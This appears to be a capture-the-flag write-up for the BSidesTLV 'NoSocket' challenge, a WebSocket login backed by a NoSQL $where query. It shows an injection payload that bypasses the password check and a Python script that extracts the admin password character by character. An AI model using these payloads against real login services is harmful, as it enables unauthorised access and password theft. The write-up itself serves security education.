NoSocket

By Yaakov Cohen

NoSocket

The link leads to a site with a login form:

site

Looking at the source code we see code for a websocket:

var ws;
var url = 'ws://' + location.hostname + ':8000/login';
function openSocket() {
    ws = new WebSocket(url);
    ws.binaryType = 'arraybuffer'; // default is 'blob'


    ws.onopen = function() {
        console.log('open');
    };

    ws.onclose = function() {
        console.log('close');
    };

    ws.onmessage = function(e) {
        if (e.data instanceof ArrayBuffer) {
            log(decodeCharCode(new Uint8Array(e.data)));
        } else {
            log(e.data);
        }
    };

    ws.onerror = function() {
        log('error');
        closeSocket();
    };
}

function closeSocket() {
    log('closing');
    ws.close();
}

function login() {
    var data = {};  // <- initialize an object, not an array
    data["username"] = document.getElementById('username').value;
    data["password"] = document.getElementById('password').value;
    val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
    // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
    ws.send(val);
}


function decodeCharCode(data) {
    var res = '';
    for (var i = 0, len = data.length; i < len; i++) {
        var value = data[i];
        res += String.fromCharCode(value);
    }

    return res;
}

function log(message) {
    alert(message)
}

openSocket()

We also see how the user is authenticated. Let's see if we can use NoSQLi. We'll put admin as the username and ' || 1 == '1 as the password. It worked, but all we got is a popup saying Success!. Oh but they said the flag is the password for admin so maybe instead of trying to completly bypass the password check we can use it to find what the password is.

We know all the flags are in the format BSidesTLV{flag}. Using this knowledge we tried using the password ' || this.password[0] == 'B and we got Success!, looks like we can do this for all the characters of the password.

We skipped the first 10 characters because we knew they were BSidesTLV{ and guessed that the flag was less than 30 characters long.

Code:

import string
from websocket import create_connection


def crack_char(index):
    for char in string.printable:
        pass_inject = "' || this.password[%d] == '%s" % (index, char)
        data = "{\"username\":\"admin\", \"password\": \"%s\"}" % pass_inject
        ws.send(data)
        response = ws.recv()
        if "Success!" in response:
            return char


ws = create_connection('ws://two.challenges.bsidestlv.com:8000/login')
response = ""
for i in range(10, 30):
    response += crack_char(i)
    print response

print 'Flag: BSidesTLV{' + response  # BSidesTLV{0r0n3Equ4l0n3!}
ws.close()

Success